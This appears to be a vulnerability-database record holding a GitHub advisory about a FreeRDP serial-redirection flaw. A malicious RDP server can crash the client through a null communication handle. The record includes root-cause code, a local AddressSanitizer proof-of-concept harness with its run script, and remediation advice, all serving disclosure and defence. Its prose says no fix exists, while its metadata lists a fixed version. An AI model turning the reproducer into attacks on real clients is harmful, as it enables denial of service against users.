{"schema":"threatline.record/2","record":{"id":"GHSA-pw4j-ff39-9vjm","aliases":["GHSA-pw4j-ff39-9vjm"],"summary":"Out-of-lifecycle serial IRP can terminate a FreeRDP client through a null communication handle","details":"### Summary\r\n\r\nA malicious RDP server can send a serial `IRP_MJ_READ` or `IRP_MJ_WRITE` before create succeeds or after closing the redirected serial device. FreeRDP dispatches the request without checking whether the serial device is open. WinPR then dereferences the null communication handle to enter its read or write critical section before checking whether the handle is valid, terminating the client.\r\n\r\nThe client must run on Linux with serial redirection explicitly configured, for example `/serial:COM1,/dev/ttyS0`, and the user must connect to the malicious server. The demonstrated effect is denial of service to the client process. The report does not claim remote code execution, confidentiality loss, integrity loss, or exposure when serial redirection is disabled.\r\n\r\nThe source mechanism predates the Android-specific `1.2.0-beta1+android9` tag, but the current serial client is not built for Android. The earliest stable release verified affected is 2.0.0. Sampled releases 2.0.0, 2.11.7, 3.0.0, 3.15.0, and 3.31.1 contain the same path, as does the latest inspected upstream `master`. No exact public advisory, issue, fix, or fixed release was identified.\r\n\r\n### Root cause\r\n\r\n`serial_process_irp_close` in `channels/serial/client/serial_main.c` clears the communication handle:\r\n\r\n```c\r\nif (!CloseHandle(serial->hComm))\r\n{\r\n\tWLog_Print(serial->log, WLOG_WARN, \"CloseHandle failure: %s (%\" PRIu32 \") closed.\",\r\n\t           serial->device.name, irp->device->id);\r\n\tirp->IoStatus = STATUS_UNSUCCESSFUL;\r\n\tgoto error_handle;\r\n}\r\n\r\n\tWLog_Print(serial->log, WLOG_DEBUG, \"%s (DeviceId: %\" PRIu32 \", FileId: %\" PRIu32 \") closed.\",\r\n\t           serial->device.name, irp->device->id, irp->FileId);\r\n\tirp->IoStatus = STATUS_SUCCESS;\r\nerror_handle:\r\n\tserial->hComm = nullptr;\r\n```\r\n\r\nThe dispatcher does not require an open handle before routing a later server request:\r\n\r\n```c\r\ncase IRP_MJ_READ:\r\n\terror = serial_process_irp_read(serial, irp);\r\n\tbreak;\r\n\r\ncase IRP_MJ_WRITE:\r\n\terror = serial_process_irp_write(serial, irp);\r\n\tbreak;\r\n```\r\n\r\nThe read and write handlers pass `serial->hComm` directly to WinPR:\r\n\r\n```c\r\nif (CommReadFile(serial->hComm, buffer, Length, &nbRead, nullptr))\r\n```\r\n\r\n```c\r\nif (CommWriteFile(serial->hComm, ptr, Length, &nbWritten, nullptr))\r\n```\r\n\r\n`CommReadFile` dereferences the handle before its validity check:\r\n\r\n```c\r\nEnterCriticalSection(&pComm->ReadLock); /* KISSer by the function's beginning */\r\n\r\nif (!CommIsHandled(hDevice))\r\n\tgoto return_false;\r\n```\r\n\r\n`CommWriteFile` uses the same ordering for `pComm->WriteLock`. The later `CommIsHandled` call therefore cannot reject a null handle safely.\r\n\r\n### Security impact and prerequisites\r\n\r\n- Mallory controls the RDP server endpoint.\r\n- Alice explicitly enables a Linux serial redirect and connects to Mallory's server.\r\n- Mallory sends a serial read or write before successful create or after close.\r\n- The client reaches a zero-page write while trying to enter the null handle's critical section and terminates.\r\n- Serial-disabled clients do not expose this path.\r\n- No code-execution, confidentiality, or integrity primitive was demonstrated.\r\n\r\nThe recommended severity is **CVSS 3.1 6.5 Medium** (`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H`). The server reaches the vulnerable client over the RDP connection without additional privileges, the user must connect with serial redirection enabled, scope is unchanged, and only client availability is affected.\r\n\r\n### Proof of concept\r\n\r\nThe source-only PoC invokes the production serial dispatcher. Its attack case sends a one-byte read with no open communication handle. Its control case creates a PTY-backed handle, writes one byte, and dispatches the identical request. The attack child is expected to terminate under AddressSanitizer.\r\n\r\nRun from the directory containing these files:\r\n\r\n```sh\r\nchmod +x run.sh\r\nFREERDP_SOURCE=../FreeRDP \\\r\nFREERDP_BUILD=../FreeRDP-build \\\r\nFREERDP_LIBRARY_DIR=../FreeRDP-build/lib \\\r\n./run.sh\r\n```\r\n\r\nThe verified replay produced:\r\n\r\n```text\r\nattack_exit=1\r\nattack_path=serial_process_irp->serial_process_irp_read->CommReadFile\r\nattack_fault=zero-page-write\r\ncontrol_exit=0\r\ncontrol_io_status=0x00000000\r\ncontrol_output_bytes=5\r\n```\r\n\r\nThe attack stack reached the production dispatcher and `CommReadFile`. The PTY-backed control's success shows that the IRP itself is valid and isolates the missing handle lifecycle check.\r\n\r\n#### `harness.c`\r\n\r\n```c\r\n#define _GNU_SOURCE\r\n#include <fcntl.h>\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\n\r\n#include \"channels/serial/client/serial_main.c\"\r\n\r\nstatic int setup_comm(HANDLE* handle, int* master)\r\n{\r\n\t*master = posix_openpt(O_RDWR | O_NOCTTY);\r\n\tif ((*master < 0) || (grantpt(*master) != 0) || (unlockpt(*master) != 0))\r\n\t\treturn 0;\r\n\tconst char* slave = ptsname(*master);\r\n\tif (!slave || !DefineCommDevice(\"COM1\", slave))\r\n\t\treturn 0;\r\n\t*handle = CommCreateFileA(\"COM1\", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0,\r\n\t                          NULL);\r\n\treturn *handle && (*handle != INVALID_HANDLE_VALUE);\r\n}\r\n\r\nint main(int argc, char** argv)\r\n{\r\n\tconst BOOL attack = !((argc > 1) && (strcmp(argv[1], \"control\") == 0));\r\n\tSERIAL_DEVICE serial = { 0 };\r\n\tIRP irp = { 0 };\r\n\tint master = -1;\r\n\r\n\tserial.log = WLog_GetRoot();\r\n\tserial.device.name = \"COM1\";\r\n\tif (!attack)\r\n\t{\r\n\t\tif (!setup_comm(&serial.hComm, &master))\r\n\t\t\treturn 2;\r\n\t\tif (write(master, \"Z\", 1) != 1)\r\n\t\t\treturn 2;\r\n\t}\r\n\r\n\tirp.MajorFunction = IRP_MJ_READ;\r\n\tirp.input = Stream_New(NULL, 32);\r\n\tirp.output = Stream_New(NULL, 32);\r\n\tStream_Write_UINT32(irp.input, 1);\r\n\tStream_Write_UINT64(irp.input, 0);\r\n\tStream_Zero(irp.input, 20);\r\n\tStream_SealLength(irp.input);\r\n\tStream_SetPosition(irp.input, 0);\r\n\r\n\tfprintf(stderr, \"mode=%s dispatch=serial_process_irp handle=%p\\n\",\r\n\t        attack ? \"attack\" : \"control\", serial.hComm);\r\n\tconst UINT rc = serial_process_irp(&serial, &irp);\r\n\tfprintf(stderr, \"dispatch_rc=%u io_status=0x%08x output=%zu\\n\", rc,\r\n\t        (unsigned)irp.IoStatus, Stream_GetPosition(irp.output));\r\n\r\n\tif (serial.hComm)\r\n\t\tCloseHandle(serial.hComm);\r\n\tif (master >= 0)\r\n\t\tclose(master);\r\n\tStream_Free(irp.input, TRUE);\r\n\tStream_Free(irp.output, TRUE);\r\n\treturn rc == CHANNEL_RC_OK ? 0 : 1;\r\n}\r\n```\r\n\r\n#### `run.sh`\r\n\r\n```sh\r\n#!/bin/sh\r\nset -eu\r\n\r\n: \"${FREERDP_SOURCE:?set FREERDP_SOURCE to the FreeRDP source checkout}\"\r\n: \"${FREERDP_BUILD:?set FREERDP_BUILD to its configured build directory}\"\r\n: \"${FREERDP_LIBRARY_DIR:?set FREERDP_LIBRARY_DIR to the directory containing libfreerdp3 and libwinpr3}\"\r\n\r\ncc=${CC:-cc}\r\nwork=$(mktemp -d .serial-irp-poc.XXXXXX)\r\ntrap 'rm -rf \"$work\"' EXIT HUP INT TERM\r\n\r\n$cc -w -DNDEBUG -fsanitize=address,undefined -fno-omit-frame-pointer -g -O1 \\\r\n  -ffunction-sections -fdata-sections \\\r\n  -I\"$FREERDP_SOURCE\" -I\"$FREERDP_SOURCE/include\" -I\"$FREERDP_SOURCE/winpr/include\" \\\r\n  -I\"$FREERDP_BUILD/include\" -I\"$FREERDP_BUILD/winpr/include\" \\\r\n  ${FREERDP_EXTRA_CPPFLAGS:-} \\\r\n  -o \"$work/harness\" harness.c \\\r\n  -L\"$FREERDP_LIBRARY_DIR\" -Wl,-rpath,\"$FREERDP_LIBRARY_DIR\" \\\r\n  -lfreerdp3 -lwinpr3 -lssl -lcrypto -lz -lpthread \\\r\n  ${FREERDP_EXTRA_LDFLAGS:-} -Wl,--gc-sections\r\n\r\nset +e\r\nLD_LIBRARY_PATH=\"$FREERDP_LIBRARY_DIR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}\" \\\r\n  ASAN_OPTIONS=detect_leaks=0 \"$work/harness\" attack \\\r\n  >\"$work/attack.stdout\" 2>\"$work/attack.stderr\"\r\nattack_status=$?\r\nLD_LIBRARY_PATH=\"$FREERDP_LIBRARY_DIR${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}\" \\\r\n  ASAN_OPTIONS=detect_leaks=0 \"$work/harness\" control \\\r\n  >\"$work/control.stdout\" 2>\"$work/control.stderr\"\r\ncontrol_status=$?\r\nset -e\r\n\r\ntest \"$attack_status\" -ne 0\r\ngrep -q 'in CommReadFile' \"$work/attack.stderr\"\r\ngrep -q 'address points to the zero page' \"$work/attack.stderr\"\r\ntest \"$control_status\" -eq 0\r\ngrep -q 'io_status=0x00000000 output=5' \"$work/control.stderr\"\r\n\r\nprintf 'attack_exit=%s\\n' \"$attack_status\"\r\nprintf '%s\\n' 'attack_path=serial_process_irp->serial_process_irp_read->CommReadFile'\r\nprintf '%s\\n' 'attack_fault=zero-page-write'\r\nprintf 'control_exit=%s\\n' \"$control_status\"\r\nprintf '%s\\n' 'control_io_status=0x00000000'\r\nprintf '%s\\n' 'control_output_bytes=5'\r\n```\r\n\r\n#### `README.md`\r\n\r\n````markdown\r\n# Serial IRP lifecycle reproducer\r\n\r\nThis source-only harness calls FreeRDP's production serial IRP dispatcher with a one-byte server read request. The attack case leaves the serial handle unopened. The control case creates a real pseudo-terminal-backed communication handle, writes one byte to it, and sends the same request.\r\n\r\nThe harness is intended for a disposable Linux checkout built with AddressSanitizer and UndefinedBehaviorSanitizer. It terminates its attack process deliberately. It does not connect to an RDP server, test a public target, or demonstrate code execution.\r\n\r\nSet these variables to paths in your local FreeRDP build:\r\n\r\n- `FREERDP_SOURCE`: the FreeRDP source checkout;\r\n- `FREERDP_BUILD`: the configured build directory containing generated headers; and\r\n- `FREERDP_LIBRARY_DIR`: the directory containing matching `libfreerdp3` and `libwinpr3` shared libraries.\r\n\r\nIf OpenSSL or zlib headers and libraries are in nonstandard locations, add their flags through `FREERDP_EXTRA_CPPFLAGS` and `FREERDP_EXTRA_LDFLAGS`.\r\n\r\nRun from this directory:\r\n\r\n```sh\r\nchmod +x run.sh\r\nFREERDP_SOURCE=../FreeRDP \\\r\nFREERDP_BUILD=../FreeRDP-build \\\r\nFREERDP_LIBRARY_DIR=../FreeRDP-build/lib \\\r\n./run.sh\r\n```\r\n\r\nThe runner succeeds only if the unopened-handle case terminates in `CommReadFile` with a zero-page write and the PTY-backed control returns `STATUS_SUCCESS` with a five-byte response.\r\n````\r\n\r\n### Suggested remediation\r\n\r\nRequire a successfully opened serial lifecycle, with a matching active file identifier, before dispatching read, write, device-control, or close operations. Clear both handle and file identifier on close, and return an invalid-handle protocol status for out-of-order or stale requests without calling WinPR.\r\n\r\nAs defense in depth, move the null-safe handle check in `CommReadFile` and `CommWriteFile` ahead of any `pComm` dereference. Add regression tests for read and write before create, after close, with stale identifiers, and across a valid PTY-backed lifecycle.\r\n\r\nNo upstream fix or fixed release was identified.","categories":["Unclassified"],"product":"FreeRDP","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-pw4j-ff39-9vjm","source_modified_at":"2026-09-30T21:41:58Z","fetched_at":"2026-10-24T23:06:24.700873Z","package":{"ecosystem":"c","name":"FreeRDP"},"range":">= 2.0.0, <= 3.31.1"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-pw4j-ff39-9vjm","source_modified_at":"2026-09-30T21:41:58Z","fetched_at":"2026-10-24T23:06:24.700873Z","package":{"ecosystem":"c","name":"FreeRDP"},"version":"3.32.0"}],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-09-30T21:41:58Z","modified_at":"2026-09-30T21:41:58Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-pw4j-ff39-9vjm","fetched_at":"2026-10-24T23:06:24.700873Z","source_modified_at":"2026-09-30T21:41:58Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-09-30T21:41:58Z","content_hash":"a09ae92cc0afb9a198731f921ed473d9d6cce099e431e21e997783f3cc47174e"}}
